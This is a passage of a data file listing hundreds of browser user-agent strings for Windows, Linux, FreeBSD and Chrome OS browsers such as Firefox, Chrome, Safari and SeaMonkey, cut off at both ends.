rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1pre) Gecko/20090316 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1pre) Gecko/20090317 Fennec/1.0b1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a2pre) Gecko/20090917 Namoroka/3.6a2pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a2pre) Gecko/20090918 Namoroka/3.6a2pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a1pre) Gecko/20090829 Minefield/3.7a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100305 Minefield/3.7a3pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Minefield/3.7a3pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100313 Minefield/3.7a3pre (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.13) Gecko/20101203 AskTbSPC2/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; fi; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.18) Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.6pre) Gecko/20100604 Namoroka/3.6.6pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; it-IT) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.25 Safari/532.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.12) Gecko/20101026 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:2.0b4) Gecko/20100818\nMozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbVD/3.8.0.12304 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.1b3pre) Gecko/20090103 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 http://techpatterns.com/forums/about304.html Firefox/3.6.13 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; AppleWebKit/534.16; KHTML; like Gecko; Chrome/10.0.648.11;Safari/534.16)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.10) Gecko/20100504 Lightning/1.0b1 SeaMonkey/2.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 MRA 5.7 (build 03686) Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.3a4pre) Gecko/20100402 Minefield/3.7a4pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55\nMozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201\nMozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 ThunderBrowse/3.3.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.2.13) Gecko/20101203 AskTbCLM/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.1.1) Gecko/20090722 Firefox/3.5.1 Orca/1.2 build 2\nMozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firebird/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko)\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.13) Gecko/20101210 Namoroka/3.6.13 Firefox/3.6.12\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.2; WOW64; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55\nMozilla/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit/540.0 (KHTML like Gecko) Version/6.0 Safari/8900.00\nMozilla/5.0 (Windows; U; Windows NT 6.2; it; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 7.0; de-DE; rv:1.9.0.7) Gecko/2009030422  Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 7.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 9.0; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6\nMozilla/5.0 (Windows; U; Windows NT5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5\nMozilla/5.0 (Windows; U; Windows XP 5.2; en-US; rv:1.9) Gecko/Firefox/3.0\nMozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a\nMozilla/5.0 (Windows; U; de) Gecko/20090729 Firefox/3.5 (.NET CLR 3.5)\nMozilla/5.0 (Windows; U; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U;) AppleWebKit/532.0 (KHTML, like Gecko) Iron\nMozilla/5.0 (Windows; U;) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0\nMozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre\nMozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre\nMozilla/5.0 (Windows; Windows NT 5.2; rv:2.0b3pre) Gecko/20100803 SeaMonkey/2.1a3pre\nMozilla/5.0 (Windows; Windows NT 6.1; rv:2.0b2pre) Gecko/20100720 SeaMonkey/2.1a3pre\nMozilla/5.0 (Windows; Windows; U; Windows NT 5.1; Windows CE 5.2; rv:1.8.1.4pre) Gecko/20070327 Minimo/0.020\nMozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@health\nMozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com\nMozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11) KHTML/4.9.1 (like Gecko) Konqueror/4.9\nMozilla/5.0 (X11; ; Linux i686; en-US; rv:1.8.1.3) Gecko\nMozilla/5.0 (X11; ; Linux i686; rv:1.9.2.20) Gecko/20110805\nMozilla/5.0 (X11; ; Linux x86_64; rv:1.8.1.6) Gecko/20070802 Firefox\nMozilla/5.0 (X11; Arch Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0\nMozilla/5.0 (X11; CentOS; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0\nMozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35\nMozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1\nMozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7\nMozilla/5.0 (X11; CrOS i686 12.0.742.91) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30\nMozilla/5.0 (X11; CrOS i686 12.433.109) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30\nMozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.30\nMozilla/5.0 (X11; CrOS i686 13.587.48) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.43 Safari/535.1\nMozilla/5.0 (X11; CrOS i686 1660.57.0) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.46 Safari/535.19\nMozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\nMozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36\nMozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36\nMozilla/5.0 (X11; CrOS x86_64 5841.83.0) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.138 Safari/537.36\nMozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\nMozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3178.0 Safari/537.36\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0\nMozilla/5.0 (X11; FreeBSD 7.1-RELEASE i386; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63\nMozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/2.30.6\nMozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/1EA69\nMozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/536.5\nMozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36\nMozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4\nMozilla/5.0 (X11; FreeBSD amd64; rv:27.0) Gecko/20100101 Firefox/27.0 SeaMonkey/2.24\nMozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.0\nMozilla/5.0 (X11; FreeBSD amd64; rv:6.0) Gecko/20110818 Firefox/6.0 SeaMonkey/2.3\nMozilla/5.0 (X11; FreeBSD i386) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2\nMozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25\nMozilla/5.0 (X11; FreeBSD i686) Firefox/3.6\nMozilla/5.0 (X11; FreeBSD x86_64; rv:2.0) Gecko/20100101 Firefox/3.6.12\nMozilla/5.0 (X11; Gentoo Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2\nMozilla/5.0 (X11; I; Linux i686; de-CH; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (X11; I; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 UBUNTU/6.10 (intrepid) Firefox/3.0.1\nMozilla/5.0 (X11; Linux 3.5.4-1-ARCH i686; es) KHTML/4.9.1 (like Gecko) Konqueror/4.9\nMozilla/5.0 (X11; Linux 3.8-6.dmz.1-liquorix-686) KHTML/4.8.4 (like Gecko) Konqueror/4.8\nMozilla/5.0 (X11; Linux AMD64) Gecko Firefox/5.0\nMozilla/5.0 (X11; Linux Debian i686; rv:8.0) Gecko/20100101 Firefox/8.0 Iceweasel/8.0\nMozilla/5.0 (X11; Linux amd64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36\nMozilla/5.0 (X11; Linux amd64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1\nMozilla/5.0 (X11; Linux armv6l; rv:10.0.5) Gecko/20100101 Firefox/10.0.5 Iceweasel/10.0.5\nMozilla/5.0 (X11; Linux armv6l; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6\nMozilla/5.0 (X11; Linux armv71;  rv:2.0b4pre) Gecko/20100818 Firefox/4.0b4pre Fennec/2.0a1pre\nMozilla/5.0 (X11; Linux armv71; en-US; rv:2.0b2pre) Gecko/20100722 Firefox/4.0b2pre Fennec/2.0a1pre\nMozilla/5.0 (X11; Linux armv7l; rv:2.0b3pre) Gecko/20100730 Firefox/4.0b3pre Fennec/2.0a1pre\nMozilla/5.0 (X11; Linux armv7l; rv:2.0b4pre) Gecko/20100812 Firefox/4.0b4pre Fennec/2.0a1pre\nMozilla/5.0 (X11; Linux armv7l; rv:2.0b4pre) Gecko/20100818 Firefox/4.0b4pre Fennec/2.0a1pre\nMozilla/5.0 (X11; Linux i386; U) Opera 7.60  [en-GB]\nMozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0\nMozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36\nMozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3187.0 Safari/537.366\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0) Gecko/20100101 Firefox/3.6.17 Firefox/3.6.17\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2 Iceweasel/6.0.2\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30\nMozilla/5.0 